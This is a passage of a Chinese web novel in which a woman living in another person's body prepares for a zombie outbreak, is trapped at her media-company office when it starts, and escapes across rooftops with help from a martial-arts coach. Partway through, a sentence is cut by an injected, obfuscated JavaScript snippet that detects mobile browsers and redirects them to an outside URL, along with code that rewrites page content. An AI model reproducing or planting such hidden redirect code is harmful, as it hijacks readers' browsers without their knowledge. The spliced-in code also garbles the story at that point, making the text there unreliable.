“申总、霖姐——”大家都不敢近前，岳晴却走了过去，“现在出了问题，归责也解决不了问题，还是得赶紧解决问题。” “呵？你又懂王了？”李霖冷笑道，“那你倒是解决啊。” 岳晴不理会她的嘲讽，转向申应晖，“我能协调舞蹈演员过来表演。不过时间很急，人家只愿意跳一场，申总你看……” 申应晖有点不敢相信地看向岳晴，眼里有惊喜，有赞赏。 李霖则是一脸又恨又难堪看向她。 和甲方的合同上写了有表演，但没写几场。多出来的两场，是李霖费尽口舌争取来的。现在有人表演，不算违约。至于展会效果……先解决眼前的问题吧。 “可以，你只要协调的来。”申应晖拍了拍她的肩膀。 岳晴敏感地躲开了他的手。申应晖倒是没在意。 下午一点是人流高峰。 漾漾答应了和两个朋友来这里freestyle一场舞蹈。她们换上了印有尚义传媒合作的甲方公司logo的演出服，以漾漾为center自由发挥跳了一场舞。 三位都是资深舞者，有着相当高的技艺和默契。临时的表演，没有彩排，却表现得意外出色。 半个场馆的客人，都被舞蹈吸引过来了。虽然只有一场，但效果相当不错。 甲方的人把舞蹈录下来了，传给后方同事，发到了公司的视频账号上。 舞蹈跳完，岳晴把刚定好的咖啡和小茶点，分别装在三个手提袋里，交到了刚换回自己衣服的姑娘们手里。 “苏小圆，我不欠你了。”临走前，漾漾看起来心情不错。 岳晴想说她没必要太在乎别人的看法。转念又想，每个人有每个人的活法,她何必要为人师。 因此只是单纯向她表示感谢，愉快把人送走了。 - 这一天的展会顺利结束了。岳晴回到小区，把自己买的唐刀从快递站取出来。 回家一看，新的防盗门已经换好了。 检查了一下牢靠程度，她非常满意。 因为到家太晚，岳晴没有再做脑力劳动，吃完饭在自己房间，复习了会儿卢宵教的刀法。 把手机立在书柜上，拍了一个小视频，传给了卢宵。 卢宵这次半小时后才回复，给她的评价是：有进步，比之前有力量了，但是姿势不标准，下次上课再给她调。 岳晴回他：[谢谢教练，你收到展会电子票的信息了吗？] 卢宵：[收到了，明天见。] 岳晴回了个好的。 搁下手机，躺在床上，岳晴看着天花板，在脑子里过了一遍最近几天和卢宵相处的细节，想找找拉进关系的方法，谁知道不知不觉睡着了。 五月十二日周日天气阴 次日，岳晴到展馆后，在展位忙活了一会儿，找了个借口，去门口接卢宵。 卢宵今天穿的像个大学生。上身一件灰色帽衫，下面是一条普通的蓝色牛仔裤，一双灰白色的运动鞋。他站在展馆入口，很是吸睛，过去的年轻女孩，没有不看他一眼的。 “卢教练——”岳晴怕他等太久，小跑过来，微微有点喘，“等久了吧。走，我带你转转。” “我刚到。你别着急。”卢宵抬起手，又马上收回了，指了指自己额头位置，“你这里头发有点乱了。” “哦哦。”岳晴把头发往回拢了拢，“谢谢。” “这是给你的。”他从提着的纸袋里拿出一杯奶茶，“我算了时间，定位到展馆门口，让人送来，还是热的。” 岳晴也不客气，道谢后自然而然接过来，心里再次确认自己之前的结论：卢宵的时间观念确实很好。 “我能陪你半个小时，之后就得回去了。”岳晴带路，带他去看体育用品的展区，“下午四点以后撤展，你可以自己多逛会儿。” 卢宵点点头，岳晴带着他把几个大品牌的展位逛了。 卢宵练武术，玩运动，对此还挺了解。 他给岳晴讲了一些这些品牌的八卦和产品的使用感受。 时不时遇到人多的时候，更为敏捷的卢宵，还很注意的把她扯到身后护着，以免她和人碰到。 岳晴明显感觉到卢宵对她没有之前的防备和疏离了。 而且，关于卢宵，她还产生了一个判断。她现在想不了那么多，打算忙完这里，今晚回去再确认。 岳晴和卢宵逛了会儿，就回展位了。 至于卢宵是几点走的，她没顾上问。 下午三点人流变得稀疏。四点保安巡场，告诉各家撤展。五点多，甲方公司的工作人员撤了。 尚义传媒的人收拾完毕，众人在展馆外开了一个简单的复盘会。 每个人都说了自己负责的事项的完成情况。到了李霖那里时，她把自己负责的事情大致说了说，然后轻描淡写掠过了舞蹈演员的事。 “关于这次的舞蹈表演，我要对李霖提出批评。”申应晖打断了她的汇报 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[恭喜萃取者岳晴，精神力萃取进度达到38%。] 岳晴长长出了口气。看来，展会的工作，给苏小圆带来了不小的成就感。 至于其他的进度增长，就得靠在丧尸来临后，在逃难过程中去想方设法获取了。 结束了所有工作，从展馆出来。 岳晴站在门口预备打车，李霖和其他两个同事在她后面走出来。 “哟，这不是申总的大红人吗？”李霖笑呵呵地说，“怎么？打不上车吗？” 岳晴看着她，没说话。 “我老公等下来接我，只是我得带上思思和小言。没有位置载你了。”李霖工作上受挫，嘴巴不打算饶人了，“你男朋友怎么没来接你吗？” 滴滴—— 一辆白色蒙迪欧停在岳晴旁边，车里的人把靠岳晴这一侧的车窗落下来。 岳晴朝内看了一眼，转向李霖道：“霖姐，你还是把心思多用在工作上，少操心点同事的私事吧。” 说完，岳晴拉开车门上了车。 李霖透过车窗看到，驾驶位坐着一个清秀帅气的年轻男孩。他侧过身来，体贴地帮岳晴扣上了安全带。 车子开出去十来米—— “你怎么还没走呢？”岳晴手握着安全带，刚才她可以自己系的，但是那个当下，她没有，“该不会一直在等我吧？” 卢宵“嗯”了声，没有否认，“我来都来了，你回去也不方便。我等你一起走。你家住哪里？” 岳晴没回答，若有所思地看着前边的路。 卢宵忙解释道：“我没有打听你住处的意思。你要是不方便，告诉我一个你方便回去的地铁站也行。这里离地铁站太远了。” 他怎么这么周到呢？体贴等人下班不说，还能顾及对方可能有的顾虑。 “卢教练，我问你一个问题。你别有负担。”她本来是想到晚上问的，然而事情都发展到这里了，没必要再拖着。 “你问吧。” “你是不是……多少有点喜欢我？” 卢宵一个急刹车，岳晴上身被带的向前冲了一小截。 车停稳了，她看到前方黄灯变了红灯。 8. 打工人备战丧尸末日08 得，问的不是时候了。正好赶上变灯，估计把卢宵吓了一跳。 “呃，抱歉，我不是故意吓你。” 卢宵过了马路，把车子靠着路边停下了。 “我……”他看了她一眼，就扭过头去，双手仍然握着方向盘，“不知道是不是喜欢。跟你说话，没压力。好像之前就认识你似的。” 而且，还有一种不知从何而来的愧疚感。让他认为自己有义务照顾她。这种感受很奇怪，卢宵没有告诉她。 这表述有点含糊，也挺真实。岳晴判断卢宵对“苏小圆”应该处于好感阶段。 别的不说，有好感，至少代表卢宵不反感她。 “好吧。”岳晴说，“至少我理解是，我们彼此是能够信任的对吗？” “当然，你可以信任我。”卢宵终于转过头，眼神很真挚，“我这么说，可不是为了让你买我的课。” “我知道。” 岳晴微笑，接着深呼吸一口气，靠在椅背上，看着空旷的街道，停顿了几秒，明明是晚春初夏，她感受不到一丝半毫的明媚气息，“我接下来说的话，可能有些离谱。你可以相信我，也可以暂时不相信。反正时间会证明我说的话。希望你到时候能配合我，我也会尽可能帮你……好吗？” …… - 五月十三日周一天气晴风力三到四级 经历两天加班，岳晴按例调休一天。 周一这一天，她顶着大风，多趟往返快递站收货和收纳物品，忙的不可开交。 新的冰箱昨天已经就位了，老冰箱让房东拉走回收了。 目前，吃的喝的用的，已经到货80%，剩下的会在周二、周三陆续送来。 昨天路上，她和卢宵坦白了丧尸末日的事。 卢宵一直睁大眼睛听她说，显然就是不相信。 岳晴扯谎说是她的家族预言，已经传了两百多年了。其他还有两个预言，已经先后在历史发展进程中应验了。 卢宵依然不相信。 岳晴只得妥协，她说自己会购买一些物资，希望能够存放在他工作的拳馆。不会太多，包括食物、水还有逃生缓降器等物资。 她还表达说，如果卢宵不相信，她可以付钱给他，作为储存费。 卢宵当然不要，答应她代为保管。然后劝她，不要疑神疑鬼，会影响身心健康的。 岳晴没有花功夫向他证明什么，只说就当帮帮她，让她能够安心。如果没有发生这事，那更好，很快也会得到证明。她不会焦虑太久。 - 周一下午，岳晴按照卢宵给的地址定位，来到一个藏得很深的巷子里，找一位他介绍的老师傅给自己的刀开刃。 在等待的功夫，岳晴顺便把要存在卢宵那里的物资买了。 她没买太多，大概够卢宵、她还有拳馆的几个人吃一周多吧。这是满打满算的量了，到时候拳馆会剩下多少人不好说。 她留的是卢宵的收货地址和电话，给卢宵提前打了招呼，请他留意收货。 岳晴清楚地知道，卢宵对她扮演的“苏小圆”有男女之意。她不想借此骗他什么，只是乐见对方能够配合自己。 困难来时，卢宵也要活下去。她只是挑了个可以信任的人，互惠互利。 她从没没想过要利用卢宵的感情骗他付出。 - 五月十四日周二天气多云转小雨 时间过得很快，转眼岳晴成为苏小圆已经一周了。 今天她打车来上班，把刀也带来了，藏在自己的工位柜子里。 另外，她还带了一些食物来，本来想放到自己柜子里，结果就留了一半，剩下两瓶水和一袋面包，藏到了距离办公室不远的消防箱里。 这天，组长吴芯来上班了。闹也闹过了，她看起来似乎接受了被裁员的事实。据说，吴芯就干到这个月底了。 岳晴呆到下班，去找卢宵学刀。 卢宵没纠结那天她说的世界末日的事，但心里明了她学刀就是为了这个。故改变了计划，教她一些实用招式。 这节课，依然过得很快。因为用心，岳晴学的效果也不错。 完课后，她把刀悄悄放回了办公室才下楼。 卢宵在一等楼她。岳晴约了卢宵下课后一起去吃饭，想顺便和他说说自己的计划。 卢宵虽然不信，在吃饭时，听岳晴讲的有意思，也来了兴致，针对她的方案，提了些实用的改进意见。岳晴赞同这些看法，认为还是挺有收获的。 两人吃完饭散了后，卢宵开车去把油加满了。 他觉得自己有点可笑。明明不信她说的，却在按照她说的在准备了。 五月十五日周三天气晴 这一天，公司无事发生。 晚上下班，岳晴还是找卢宵上课。 回到家，室友欧月在自己屋子里赶设计稿。 岳晴热了一杯奶，端进去给欧月。她其实想劝明天欧月留在家里的，可实在没有好理由。毕竟连她也不能违抗原主苏小圆的意志不去上班。 “怎么了？”欧月放下数控笔，见“苏小圆”一幅欲言又止的样子，“有什么事情吗？” “没有。只是觉得你最近太辛苦了。天天熬夜，要是实在累，你明天就请假在家休息两天吧。” 欧月喝了口室友送来的温暖牛奶，“你才应该休息休息呢，你最近买东西都买疯了。我知道你心情不好，可我最近是挺忙的，都没顾上和你好好聊聊。你等我出差回来的。” “你明天要出差？” “是的，还是为了手上的项目。我明天倒是可以睡个懒觉。下午三点多的飞机，直接从家去机场。” “哦，明天好像暴雨呢。”岳晴眨巴眨巴眼睛说，“你们要不后天再去？” “暴雨？我没注意啊。到时候再说，我做不了主，明天得看领导安排。” “好吧，我不打扰你了，你画吧。” “好，你也早点睡。” 欧月待室友走了，拿出天气预报APP查看明日天气。 可上面明明说是阴天，怎么就暴雨了？苏小圆她从哪看的天气预报？欧月不解。 岳晴这一边，关上室友的卧室门，站在门口耸了耸肩。算了，她尽力了。 如果说卢宵还保留了点中二的热血，对她的话十分满分，能相信两三分。 而对特别实际的欧月说些要末日了的话，欧月估计只会给她个负分。 五月十六日周四天气霾转小雨 岳晴出门去上班时，欧月还没醒。 她看外面一片灰蒙蒙的，就十分不想出门。她警觉地召唤出拉斐尔，让他再次校准末日日期。 在有点昏暗的房间里，拉斐尔散发着幽幽的白光，转了一圈，表情僵硬地报告：[报告岳晴，末日即将于今日来临，本次预测准确度99%] 即便做足了充足的准备，岳晴看到这个数字，脑袋还是“嗡”了一声。 她试图坐在沙发上，扒着沙发把手不出门。 但当时间一分一秒走过，临近她再不出门到公司就要迟到的时间，她的腿自动站了起来，送她去上班。 果不其然，苏小圆真是倔驴脑袋！碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794022|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到原则问题时，不允许岳晴自己做主。 要么她按照苏小圆之前的意思，自己了结自己。 否则，活着一天就要去上班…… 岳晴无语。 岳晴到达工位后，再次发信息询问卢宵那边的情况。 卢宵告诉他一直到下午六点，拳馆都没有课。除了住在拳馆的他以外，来了一名教练，和一个销售。似乎是因为天气不好，其他人都调休了。 岳晴嘱咐他尽量不要外出。 卢宵老老实实回了个：好的。 时间来到10:53。 窗外突然传来一阵喧哗声，尚义传媒临窗的人探头去看时，发现好多人疯狂的在外乱跑。大家第一反应是着火了！ 纷纷不再工作，站起来看是怎么回事。 岳晴当然知道是怎么回事，丧尸潮来了呗！ 她挤到窗边，对着楼下越来越多乱跑的人拍了张照片。 她把照片分别发给了卢宵和欧月—— 先给欧月交待道： [月月，有点离谱。但你信我，丧尸来了。我公司这边已经乱了，你可以上网查实。咱们家那边还相对安全。你呆在家里千万别出门，也不要给任何人开门。我会想办法尽快回去。] 然后告诉卢宵，锁好门，千万锁好门。 这时—— 行政经理老王走过来向办公室众人宣布：已经给大厦保安经理打了电话确认，说没有发生火灾，不知道是什么引起了下面的混乱，让大家别慌。 岳晴拿着自己的刀，本来想偷偷撤了。 当她走到门口，看到隔壁公司有个男人走出来，没朝她这里来，而是向走廊远处去了。他的步子看着很不对劲儿，迟缓、笨拙…… 岳晴推测他大概马上就变异了！ 她想都没想，就把公司的大门合上，门锁自动扣紧。 前台的姑娘不知道她为什么这么做，刚想过去开门，就听到楼道里传来一声惨叫！吓得她直接僵在原地…… “啊啊啊——”办公室里有人叫起来。 岳晴心沉下来，想今早来时已经把这里的人观察一遍了，且时刻留意他们的动态，没什么异常。 不会公司还是有人感染了？ 她小心靠近过去，发现那个叫喊的同事行动没异常，就是脸煞白。 他说：“你们赶紧上网！是……是……” “你有话好好说啊。看把你吓得，能发生什么大事啊。”李霖在一旁讥讽道。 “是丧尸啊！” “你恐怖片看多了吧？” “就是，你别吓唬大家……” “我靠，还真是，你们快上网。” 办公室你一言我一语的，像是热锅上的蚂蚁，一时间乱成一团。 老板刘芝蕊今天也在公司。没过多久，她和总监申应晖一前一后从各自办公室里走出来。 刘芝蕊肉眼可见的惊慌，申应晖面上看着还好。 “老王，你先去把门锁好。”申应晖关键时刻保持了冷静，“你们两个，把我办公室的铁皮柜子，搬到门口顶上。” 公司入口是两扇玻璃门，根本不抗造。现在事情刚爆发出来，在毫无准备的情况下，先确保身处空间的安全性，倒也没错。 虽然事先在脑袋里盘了各种可能性，岳晴还是有些担忧。 丧尸是一方面，她还担心活着的人。 等下如果不能及时脱身。她不认为办公室的这些人，还能像平时一样，一直维持表面的平和。 逃！ 她得尽快想办法逃出去！ 9. 打工人迎战丧尸末日09 卢宵很快回复岳晴：[收到，已经关好门。两个同事都在馆里。你下来了吗？我接应你！] 事情摆在眼前，卢宵没有再质疑，他的反应很快，迅速采取了行动。 [好。你们都不要出门。我这里暂时下不去。] [我确定要使用B方案，到时候我提前告知你，拜托你及时接应我。] 岳晴发完信息，在公共办公区和走廊连接的地方站住。这里既能看到整个办公区的情况，也能顺着走廊看到大门那边的情况。 申应晖除了让人把柜子搬出来堵好门，还找了两个身材较为魁梧的男同事看门。 不得不说，在事先不知道有此劫难前提下，申应晖反应之快，已经超过了大部分的人。 至于其他办公室的人，即便楼下已经混乱至极，很多人还是不相信眼前正在发生的事情。 直到所有人连续收到三条相关部门发出来的短信，提醒大家呆在室内，千万不要出门，等待救援…… 他们终于信了。 办公室内人心惶惶，有的三五成群围在一起焦急地议论，有的则躲在角落里小声哭泣。在哭的人里，就包括B组组长吴芯。 岳晴走到靠近角落的一个窗子边上，从口袋里掏出一个mini望远镜观察楼下的动静。 她注意到在先后经历了几波动乱后，楼下逐渐安静了下来。 然而，安静并不意味着安全。仅仅代表——刚刚不幸在外的人，或者事发慌乱出逃的人，已经被抓咬了个遍。 目前游荡着丧尸并不多，外边大部分的人，都是歪倒在地，趴着、躺着的状态。 岳晴推测他们还或多或少保留人类的意识。现在应该正处于痛苦的蜕变周期，不便于行动，才全都倒下了…… “能借我用用吗？” 岳晴偏头一看，来人是申应晖。他什么时候走到自己身边的？她居然完全没有察觉！ “当然可以。”她交出手上的望远镜。 这个望远镜是之前苏小圆看演唱会买的，她拿来放到了办公室。另外她还买了两个，放在健身房和郊区的租房里。 “申总，我好害怕啊。”岳晴不能表现得过于平静镇定，亦或对这一切早有准备，“我刚看下面好多人躺在地上，他们不会死了吧？还有申总，我们一直在办公室，等人来救我们吗？我们会不会饿死啊！” “估计下面的还没死呢，应该感染了，还没变成丧尸。”申应晖放下望远镜，却没有打算还给岳晴，牢牢握在自己手里，“小圆，你跟我过来。” 申应晖来到办公室中央位置，双臂举起，手掌空中响亮拍了几下，“大家静一静！我想简单和大家说几句——” 岳晴就站在他旁边，从所站的位置，看到四周同事投来的目光，有忧虑，有惊慌，更多的是茫然无措…… 尚义传媒平时管事的姚副总出差未归，而老板刘芝蕊是个花瓶，到了关键时刻吓得全程噤声。现在就剩下申应晖这个快要跳槽的人，级别最高最有主心骨了。 今天公司到岗的有四十余人。当遭遇极端状况，这就是个封闭的“小社会”，的确需要有人站出来组织大家。 申应晖简单说了几句目前发生的状况。然后就是打鸡血，鼓励大家团结一致，不能乱，只要他们挺住，肯定都能安全逃出去…… 谁也没遇到过这样的状况，现在能逃出去的话讲出来，大家其实也并不相信。可这话说出来，确实把办公室弥漫的紧张氛围驱散了不少。 岳晴静静旁观，对申应晖有几分佩服，虽然也知道他做这些，主要是为了他自己。 “我们现在想要活下去，最重要就是不能乱。公司做出的任何决定，都是为了大家，希望大家接下来配合我们。”申应晖点了行政经理老王和苏小圆的名字，“接下来，我会让老王和小圆，去将大家手上的食物，统一收上来，再在需要用餐时，合理分配给大家。大家放心，收上来的食物会全程放在大厅里。你们都看得见，绝不藏私。” “凭什么？”李霖这时不服气地质问道：“吃的东西是我们自己的，为什么要上交！” 申应晖冷笑了声，瞪了她一眼，后又转向众人，“我尊重每一个人的决定。如果不想服从公司安排。你可以带着自己的东西出去。可如果想要留在这里，就要服从安排！” “好，好吧……我不出去，我配合你们。”李霖蔫了，再没了后话。 “我希望大家都明白，现在是特殊时期，我们的目的只有一个，那就是活着……”申应晖说完，扫视在场众人，见没有不服气的了，吩咐道：“老王，你们现在开始吧。” 岳晴注意到，申应晖说话时，老板刘芝蕊瑟缩在角落，一声不带吭的。大难临头，她既没主意，也没了往日的嚣张。而申应晖也没有征求她的任何意见。 有人把小会议室的物资都抬了出来，靠墙放在一边。 零食和水，岳晴先前清点过，着实没剩多少。 策划B组设计老冯，被指派出来看守这些物资。 即使有了前面的各种铺垫和威胁，这个收物资的过程还是不顺利。 行政经理老王和岳晴，挨个工位收，申应晖也没回自己办公室，而是一路跟着他们。 根据申的要求，收物资的方式，并不是等着大家乖乖奉上，他们还会要求检查每个人的柜子和抽屉……确保每个人都没有藏私。 办公室的气氛，诡异而窒息。 对于没有在办公室囤零食的大部分人来说，都选择了默默支持这个方式。 搜到第三排一个销售小姑娘时，岳晴注意到她已经哭的梨花带雨了。 老王请她让开，她僵坐在位置上没动。小姑娘旁边的一个人把她拽开了，老王去打开她的柜子。 从里面搜出了半箱乌龙茶，还有干脆面、薯片，及小包装的锅巴等等吃食。 “你们别拿走，这都是我的……”小姑娘哭着扑到地上的箱子上。 岳晴皱着眉闪到了一边。 平时嚣张惯了的老王，本来心里就又乱又怕，在这个节骨眼对着小姑娘发泄出来！ 他没轻没重把人一把推开，小姑娘跌坐在旁边地上，一只腿跪在地上，另一只屈伸着，应该是扭到了脚腕，顷刻痛到出冷汗—— “你打我！好啊，你个大男人打女人！”她尖叫一声，朝着老王扑上去，不知道从哪抄起来一个文件盒砸老王的头…… 老王懵住，开头两下根本没还手，耳朵上方被文件盒尖角怼了一下，痛得龇牙咧嘴。他怒火“噌”地烧起来，“去你丫的！谁打你了？敢动老子！？” “请你配合，我们拿走你的食物，确实不公平，但也是为了大家。”申应晖站出来“主持正义”，“如果你不服气，可以拿着你的东西现在出去。” 又是这一套说辞。 说是这么说，岳晴猜测如果这个女孩真的不要命了，端着食物出门，也不一定真的能出的去这个门……！ 小姑娘当然不愿出门，哭唧唧地声讨了几声，奈何一个人力量太单薄，她的吃的还是被收走了。 整个食物搜刮过程耗时一个多小时。 整个过程中，岳晴节省体力精力，尽量保持沉默。结束时，还是感到整个后背还是汗湿透了。 她和申应晖、老王盘点了饮水机的水、食物，保守估计尚且够全办公室的人撑两三天。 两三天不算短。可两三天之后又该如何呢？ 全市危在旦夕，整个商务园区人流密集，像这样的办公楼、家属楼多不胜数。营救部队还会来吗？来了又救的过来吗？ 以上所有问题，岳晴都坚定给出消极或否定答案。 当下，她最应该依靠和指望的只有自己。 收集完物资，岳晴终于有空，拿出手机看了眼，发现欧月回复了信息。 她发了几十条，显然是吓坏了。但也不得不佩服她的适应程度，欧月后来冷静了下来，告诉她自己不会出门，并且已经盘点了屋里的食物和物资。她会一直等她回来，希望“苏小圆”每隔几小时给她发信息报平安。 [月月，我目前被困住了，但还算安全。我会按你说的，给你发送信息保平安。] 欧月没事，是个大大的好消息。她是苏小圆在这个城市最重要的朋友。因为她今天出门晚，幸运躲过一劫。现在家里什么都有，是乱流之中最安稳的所在了。岳晴可以暂时不必去牵挂她。 午餐时间早就过了，老王和岳晴按照申应晖的意思，给大家平均分配了食物。 看 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申应晖沉默了，在就近的椅子上坐下，审慎思考苏小圆建议的可行性。 早晨过来时，他一丝不苟拢到后面的头发，此刻已经都耷拉下来了。他在这家公司工作了两年多，从未像现在一样狼狈。 他心里的慌乱一点不比外边那些人少。他一直硬撑着，不晓得还能撑多久。 可就是这样的状况里，他居然从眼前这个年轻下属脸上，于那些浮动在表层的恐惧下，看到了一丝不寻常的镇定。 “申总，趁现在局面还可控制。我们最好抓紧时间行动。再拖下去恐怕……不好说。” “好。”申应晖咬牙做出了决定，“就按你说的。十五分钟后，我会组织人出门。” 申应晖从办公室里挑了五个男同事准备出去拿物资。 岳晴说主意是自己出的，她也想跟着一起。多一个人不是坏事，申应晖没拦着，也没时间多想。 大家来到门口，随着两个同事一点点将铁柜子挪开，众人的心也跟着提了起来。 玻璃门外走廊的状况很快展露眼前——现下外面空荡荡的一切如常，地上墙上都没有出现瘆人的血迹。众人的心情稍稍安稳。 走在最前面的男同事打开了门，后面几人相继跟上。 有人手里拿了扫帚，有人拿了去掉布条的拖布棍子，有人拿了水果刀……总之能用的不能用的，都带上了。 岳晴把唐刀藏在短风衣外套里，默默跟在了最后面。 大概五六米位置，就到了走廊要拐弯的地方，只要拐过去就能抵达电梯口。无人贩卖柜就靠着电梯对面的墙立着。 站在队伍中间的申应晖示意大家在这里等待了十几秒钟，确认没有任何怪异的声音才继续向前走去。 “大家别害怕。这层应该还安全。”带头的男人放松下来，刚刚因为恐惧佝着的背也挺直了些。 “你别大意啊。等会儿丧尸来了，第一个咬你！”他后面的男人借着调侃放松自己紧张的情绪。 打头的男人，深呼吸一口气往前走了几步，看到了转角后的样子……“看我就说吧，什么都没有。那些玩意儿应该还没上来呢。” 听他这么说，后面众人都松了口气。 一行七人走到电梯口的货柜前边，有人掏出手机扫码打开了两个柜子门。其中两人拿出准备好的箱子，把食物和水，装进箱子里。 大部分人放松下来，申应晖还是如临大敌的样子，沉声命令，“动作快点，拿好东西我们就回去。” “申总，别担心，这里是安全的。”最开始打头那个男人刚去对面走廊大致看过了，什么都没有。 “别废话！按我说的做——” 他的话说到一半，“叮”的一声电梯抵达该层的提示音响起—— 在场几人的心瞬间被提溜起来…… 岳晴清晰地听到，从逐渐打开的电梯里传出——哈气的粗沉喘声和吸溜口水的声音…… 包括申应晖在内的众人人，这时像被下了定身咒，足足僵住两秒后，有人大喊一声往回冲去！ 可是已经来不及了…… 一只挂着破破烂烂袖子满是血痕的手臂，正从电梯里伸出来…… 10. 打工人迎战丧尸末日10 “呜……呵……呜哈……呜呵……”传来的声音像是喘气声，又像是哭到力竭后的抽噎声。 申应晖第一次真切体验到，什么是双腿吓到发软，头皮吓到发麻，全身不听使唤。他和那个胆很大的男同事，站在另一侧走廊口，等到反应过来，感染者身子已经出电梯三分之二了。 正走出的是个男人，典型的上班族打扮。他一身衣服已残缺不全，单边的裤腿少了半只，破掉的衬衣袖子被血糊在手臂上。 此刻他的五官和常人无异，就是嘴巴张得大了些，粘稠的涎水顺着嘴角往下淌。视线僵硬地盯着前方，双脚迟钝地移动，仿佛腿上绑着起码20kg的负重。 其余三人跑走了，放置食物的箱子，被仓促扔在地上，有瓶气泡水从箱子里掉出来，一路滚到了感染者的鞋尖处。 感染者被吸引了注意力，低着头很好奇地打量地上的瓶子，好像在看什么从未见过的新奇物件儿。 大胆的男同事观望了片刻，跑过去想要抱起箱子冲回办公室。可现实没有给贪心的他这个机会，就在他俯身施力的时候，背后骤然一沉，紧接着脖颈处感到湿热发黏的呼气…… “啊，啊！你别过来——”男同事翻身滚到地上，像兔子一样敏感发作的他，带着笨拙的感染者在地上滚动起来。 男同事几乎被吓尿，明明被困住的是上半身，下半身竟跟着乱踢起来…… 回想今天早晨，他还在家狠狠训斥了不好好吃饭的小孩。老婆骂他就会对孩子撒气，天天赚不到钱回家。 他憋着满肚子火来到公司，大早晨又被上司询问昨天的业绩，他支支吾吾报了个零……然后心想着毁灭吧，毁灭吧，这世界早就已经完了。 谁知道过了几个小时，世界真的就完了…… 早知如此，就不胡乱许愿了。 男人想，如果还能让他活下去，他一定对待家人更加耐心，可惜现在一切都晚了…… 他抱着头蜷缩在地上半天，恐惧等死，屁股却冷不防被踢了一脚—— 男同事吃痛，五感得以重回现实，发现自己全身好像并无任何疼痛之处。 睁开眼看见申应晖咬着牙，牢牢从背后反剪着奄奄一息的感染者的双臂。 “还愣着干什么，还不快去喊人来帮忙？！！” 男同事看见感染者背后被血浸透了，肩膀上比刚才多了一道深入的裂痕，红到发黑的血液汩汩冒出，同时侵染了申应晖的灰色衬衣。 男同事想要跑起来，却发现自己还蹲伏着，站起来踉跄了一下，协调好肢体向办公室跑过去，“来人啊，快来人啊……” 这时申应晖扭头，发现刚还站在自己身边的女孩不见了…… 他满头冒汗缚着感染者向后退了几步，眼神延伸至走廊尽头，已然空无一人，只听见“嘎啦”一声消防门被闭门器重重拉合的噪音。 跑进消防通道，岳晴感到自己的心脏快到要停了！ 卢宵教了她好几个晚上的刀。她也没偷懒，每天睡前她也会在脑子里预演各种使用方式，可是到现场了，她居然笨到只会乱砍乱刺。 刚刚她拔出刀，对着感染者的膀子砍下去，却只造成了一道较深的伤口，危害性估计只有30%。 谢天谢地感染还是初期，这名感染者意识应该很模糊，未能马上分辨出伤害来自何处，也没能敏锐地转身反抗。她紧接着朝他的后心又是一刀。这次终于捅穿了！ 感染者痛到不行，像野兽一样低吼，松开了男同事，跪在地上拼命地去够自己后背。 而男同事吓傻了，一时未能动弹，是申应晖及时跑过来制住了这名初期感染者。 岳晴之所以建议出来找吃的，就是希望多点人出来，在足够安全的情况下，她趁机逃跑…… 现在就是最好的时机！ 从背后的消防栓里拿出一瓶之前藏着的水，握紧自己的刀，她拼了命的朝安全通道跑过去！ 在呼哧呼哧爬楼梯的时候，她的脑子总算清醒过来。 那天和卢宵在吃饭时，他们把逃生计划做了完善。 最优方案是事情爆发以后，她第一时间搭乘电梯跑到三楼，和他躲在那里。如果能有救援最好，没有的话，他们就等待尸潮退去后，想办法摸到停车场逃跑。 A方案没能及时赶上。她现在只能采取B方案。 接下来，她将从安全通道抵达B栋的23层天台，借由梯子从半空中爬到A栋。再在A栋天台上，借由特制长度的消防缓降器至卢宵所在的3楼拳馆。 为什么不从B栋直接下降到3楼拳馆？ 很简单，因为太远了！拳馆正好位于A栋天台下方，如果从B栋下降，她不保证自己荡得过去。 岳晴跑到了23楼，推开那扇未上锁的门，进入后，没急着操作接下来的事，而是把水瓶拧开，倒了小半瓶冰凉的矿泉水到自己嘴里，多多少少缓解了一上午以来紧张的情绪。 喝完水，她冷静多了。快速给卢宵发了条信息，让他接应自己，然后把短风衣外套脱掉，露出里面一直斜跨在背上的刀套，取下将刀绑缚好，重新背到身上。 前天晚上，她已经在卢宵的帮助下，把蜈蚣伸缩梯和缓降器分别放置在了B栋和A栋的阳台上。 岳晴走过去把藏到角落里的伸缩梯取出。 这架梯子是她从厂家手里收的样品，花了一千多块钱呢！但为了逃命花钱不该心疼！ 梯子展开后长达五米，宽四十公分，能够乘载约2个成年人的重量。 她从口袋里摸出一副劳保手套戴好，费了吃奶的劲儿，才把梯子搭在了现在所在的B栋天台和A栋天台边沿上。最后用手压了压简单测试，确认搭载牢固没问题。 之前她目测两处相距五六米，但实际上经过测量只有四米多。 幸好以前在她的世界里，从事人类遗址发掘工作时，没少干这样的事，高空作业什么的，岳晴没在怕的。只不过以前是有安全绳的，此次是毫无安全防护。 岳晴做了组深呼吸，一点点爬上了悬在天台间的梯子。下方即是万丈深渊，哪怕是经验丰富的消防员，恐怕也难以做到心静无波。 她却坚定的全程目视A栋天台那里，没有向楼下看一眼。她爬的速度不慢，很快结束了这趟刺激的旅程。 A栋上班的牛马们压力应该不及B栋，这里天台的门锁是完好的，之前应该没人上来透气。 她和卢宵前晚上来时，并没有去过A栋天台，是想办法把缓降器抛掷了过去。 岳晴拿起地上的消防缓降器，动作敏捷地把连接绳盘和安全带的锁扣扣在了楼顶的安全栓上。安全栓是留给消防逃生和高空清洁使用的。她之前已经测试过B栋的安全栓，非常牢固，可以毫无压力乘载她的重量。A栋是一批工程，自然也没问题。 将绳子抛下楼去，岳晴正往身上穿戴腋下安全带，突然听到了很小声的哭声。她转头一看，看到李霖不知道何时已经爬到了她搭在AB栋之间的蜈蚣梯上…… 与此同时，吴芯和申应晖一前一后冲到了天台。两人的脸都是苍白异常。 三人皆已看见已经转移到A栋的“苏小圆”，但是申应晖和吴芯没有跟上去爬梯子。他们在观望，观望高空爬梯子过去是否安全。 大意了，她刚刚忘记把梯子收回来了……！ 岳晴没有和他们说话，走到搭着梯子的阳台墙檐处，心里已经有了决断…… 